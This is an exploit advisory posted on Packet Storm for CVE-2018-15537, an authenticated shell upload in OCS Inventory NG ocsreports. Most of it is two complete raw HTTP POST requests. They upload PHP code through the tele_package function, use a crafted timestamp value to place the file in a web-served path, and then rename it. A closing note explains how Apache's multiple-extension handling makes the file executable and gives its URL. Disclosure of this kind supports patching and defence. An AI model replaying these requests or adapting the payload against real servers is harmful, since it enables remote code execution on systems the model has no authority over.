what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

OCS Inventory NG ocsreports Shell Upload

OCS Inventory NG ocsreports Shell Upload
Posted Nov 14, 2018
Authored by Simon Uvarov

OCS Inventory NG suffers from an ocsreports authenticated remote code execution vulnerability via a shell upload.

tags | exploit, remote, shell, code execution
advisories | CVE-2018-15537
SHA-256 | 24d22f114a3cf7d6004bf89c7745ac2a396b3daec40452cab1bc1b32f0c94835

OCS Inventory NG ocsreports Shell Upload

Change Mirror Download
## Request 1

This request creates a temporary file containing PHP code in the /usr/share/ocsinventory-reports/ocsreports/a.php.a/ directory.

POST /ocsreports/index.php?function=tele_package HTTP/1.1
Host: 192.168.5.135
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.5.135/ocsreports/index.php?function=tele_package
Content-Type: multipart/form-data; boundary=---------------------------491299511942
Content-Length: 2836
Cookie: VERS=7015; LANG=en_GB; IPDISCOVER_inv_col=a%3A6%3A%7Bi%3A0%3Bs%3A1%3A%220%22%3Bi%3A1%3Bs%3A1%3A%222%22%3Bi%3A2%3Bs%3A1%3A%223%22%3Bi%3A3%3Bs%3A1%3A%224%22%3Bi%3A4%3Bs%3A1%3A%226%22%3Bi%3A5%3Bs%3A1%3A%227%22%3B%7D; show_all_plugins_col=a%3A8%3A%7Bi%3A0%3Bs%3A1%3A%220%22%3Bi%3A1%3Bs%3A1%3A%221%22%3Bi%3A2%3Bs%3A1%3A%222%22%3Bi%3A3%3Bs%3A1%3A%223%22%3Bi%3A4%3Bs%3A1%3A%224%22%3Bi%3A5%3Bs%3A1%3A%225%22%3Bi%3A6%3Bs%3A1%3A%226%22%3Bi%3A7%3Bs%3A1%3A%228%22%3B%7D; PHPSESSID=uvq1vomo3oi2q9mfolj9bvr6m0
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------491299511942
Content-Disposition: form-data; name="CSRF_10"

8ab3df2f9a2078530027e74191af0b087429ad41
-----------------------------491299511942
Content-Disposition: form-data; name="document_root"

/usr/share/ocsinventory-reports/ocsreports/
-----------------------------491299511942
Content-Disposition: form-data; name="timestamp"

a.php.a
-----------------------------491299511942
Content-Disposition: form-data; name="NAME"

dshasdgasga
-----------------------------491299511942
Content-Disposition: form-data; name="DESCRIPTION"

asdgasdga
-----------------------------491299511942
Content-Disposition: form-data; name="OS"

WINDOWS
-----------------------------491299511942
Content-Disposition: form-data; name="PROTOCOLE"

HTTP
-----------------------------491299511942
Content-Disposition: form-data; name="PRIORITY"

5
-----------------------------491299511942
Content-Disposition: form-data; name="teledeploy_file"; filename="exploit.zip"
Content-Type: application/x-zip-compressed

<?php

phpinfo();

?>
-----------------------------491299511942
Content-Disposition: form-data; name="ACTION"

EXECUTE
-----------------------------491299511942
Content-Disposition: form-data; name="ACTION_INPUT"

asdgasdgasdg
-----------------------------491299511942
Content-Disposition: form-data; name="REDISTRIB_USE"

0
-----------------------------491299511942
Content-Disposition: form-data; name="DOWNLOAD_SERVER_DOCROOT"

d:\tele_ocs
-----------------------------491299511942
Content-Disposition: form-data; name="REDISTRIB_PRIORITY"

5
-----------------------------491299511942
Content-Disposition: form-data; name="NOTIFY_USER"

0
-----------------------------491299511942
Content-Disposition: form-data; name="NOTIFY_TEXT"

-----------------------------491299511942
Content-Disposition: form-data; name="NOTIFY_COUNTDOWN"

-----------------------------491299511942
Content-Disposition: form-data; name="NOTIFY_CAN_ABORT"

0
-----------------------------491299511942
Content-Disposition: form-data; name="NOTIFY_CAN_DELAY"

0
-----------------------------491299511942
Content-Disposition: form-data; name="NEED_DONE_ACTION"

0
-----------------------------491299511942
Content-Disposition: form-data; name="NEED_DONE_ACTION_TEXT"

-----------------------------491299511942
Content-Disposition: form-data; name="valid"

Send
-----------------------------491299511942
Content-Disposition: form-data; name="digest_algo"

MD5
-----------------------------491299511942
Content-Disposition: form-data; name="digest_encod"

Hexa
-----------------------------491299511942
Content-Disposition: form-data; name="download_rep_creat"

/var/www/html/download/server/
-----------------------------491299511942--

## Request 2

This request renames the file to a.php.a-1 and also creates info file.

POST /ocsreports/index.php?function=tele_package HTTP/1.1
Host: 192.168.5.135
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.5.135/ocsreports/index.php?function=tele_package
Content-Type: multipart/form-data; boundary=---------------------------4827543632391
Content-Length: 3345
Cookie: VERS=7015; LANG=en_GB; IPDISCOVER_inv_col=a%3A6%3A%7Bi%3A0%3Bs%3A1%3A%220%22%3Bi%3A1%3Bs%3A1%3A%222%22%3Bi%3A2%3Bs%3A1%3A%223%22%3Bi%3A3%3Bs%3A1%3A%224%22%3Bi%3A4%3Bs%3A1%3A%226%22%3Bi%3A5%3Bs%3A1%3A%227%22%3B%7D; show_all_plugins_col=a%3A8%3A%7Bi%3A0%3Bs%3A1%3A%220%22%3Bi%3A1%3Bs%3A1%3A%221%22%3Bi%3A2%3Bs%3A1%3A%222%22%3Bi%3A3%3Bs%3A1%3A%223%22%3Bi%3A4%3Bs%3A1%3A%224%22%3Bi%3A5%3Bs%3A1%3A%225%22%3Bi%3A6%3Bs%3A1%3A%226%22%3Bi%3A7%3Bs%3A1%3A%228%22%3B%7D; PHPSESSID=uvq1vomo3oi2q9mfolj9bvr6m0
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------4827543632391
Content-Disposition: form-data; name="CSRF_13"

53b6eab749060aa8cbe972e9c9a31ae148cf886b
-----------------------------4827543632391
Content-Disposition: form-data; name="tailleFrag"

0
-----------------------------4827543632391
Content-Disposition: form-data; name="nbfrags"

1
-----------------------------4827543632391
Content-Disposition: form-data; name="comment"

asdgasdga
-----------------------------4827543632391
Content-Disposition: form-data; name="digest"

b14f8d3b56fb10f2257f53ab32947a50
-----------------------------4827543632391
Content-Disposition: form-data; name="VALID_END"

END
-----------------------------4827543632391
Content-Disposition: form-data; name="SIZE"

347
-----------------------------4827543632391
Content-Disposition: form-data; name="document_root"

/usr/share/ocsinventory-reports/ocsreports/
-----------------------------4827543632391
Content-Disposition: form-data; name="timestamp"

a.php.a
-----------------------------4827543632391
Content-Disposition: form-data; name="NAME"

dshasdgasga
-----------------------------4827543632391
Content-Disposition: form-data; name="DESCRIPTION"

-----------------------------4827543632391
Content-Disposition: form-data; name="OS"

WINDOWS
-----------------------------4827543632391
Content-Disposition: form-data; name="PROTOCOLE"

HTTP
-----------------------------4827543632391
Content-Disposition: form-data; name="PRIORITY"

5
-----------------------------4827543632391
Content-Disposition: form-data; name="teledeploy_file"; filename=""
Content-Type: application/octet-stream

-----------------------------4827543632391
Content-Disposition: form-data; name="ACTION"

EXECUTE
-----------------------------4827543632391
Content-Disposition: form-data; name="ACTION_INPUT"

asdgasdgasdg
-----------------------------4827543632391
Content-Disposition: form-data; name="REDISTRIB_USE"

0
-----------------------------4827543632391
Content-Disposition: form-data; name="DOWNLOAD_SERVER_DOCROOT"

d:\tele_ocs
-----------------------------4827543632391
Content-Disposition: form-data; name="REDISTRIB_PRIORITY"

5
-----------------------------4827543632391
Content-Disposition: form-data; name="NOTIFY_USER"

0
-----------------------------4827543632391
Content-Disposition: form-data; name="NOTIFY_TEXT"

-----------------------------4827543632391
Content-Disposition: form-data; name="NOTIFY_COUNTDOWN"

-----------------------------4827543632391
Content-Disposition: form-data; name="NOTIFY_CAN_ABORT"

0
-----------------------------4827543632391
Content-Disposition: form-data; name="NOTIFY_CAN_DELAY"

0
-----------------------------4827543632391
Content-Disposition: form-data; name="NEED_DONE_ACTION"

0
-----------------------------4827543632391
Content-Disposition: form-data; name="NEED_DONE_ACTION_TEXT"

-----------------------------4827543632391
Content-Disposition: form-data; name="digest_algo"

MD5
-----------------------------4827543632391
Content-Disposition: form-data; name="digest_encod"

Hexa
-----------------------------4827543632391
Content-Disposition: form-data; name="download_rep_creat"

/var/www/html/download/server/
-----------------------------4827543632391--

# Apache Config

The application has the following line in the /etc/apache2/conf-available/ocsinventory-reports.conf config file:

AddType application/x-httpd-php .php

Thus any file containing .php substring might be executed by an attacker. Thus the uploaded file is accessible via http://192.168.5.135/ocsreports/a.php.a/a.php.a-1
Reference: https://httpd.apache.org/docs/2.4/mod/mod_mime.html#multipleext

Regards,
Simon Uvarov


Login or Register to add favorites

File Archive:

June 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    19 Files
  • 2
    Jun 2nd
    16 Files
  • 3
    Jun 3rd
    28 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    19 Files
  • 7
    Jun 7th
    23 Files
  • 8
    Jun 8th
    11 Files
  • 9
    Jun 9th
    10 Files
  • 10
    Jun 10th
    4 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    27 Files
  • 20
    Jun 20th
    65 Files
  • 21
    Jun 21st
    10 Files
  • 22
    Jun 22nd
    8 Files
  • 23
    Jun 23rd
    6 Files
  • 24
    Jun 24th
    6 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close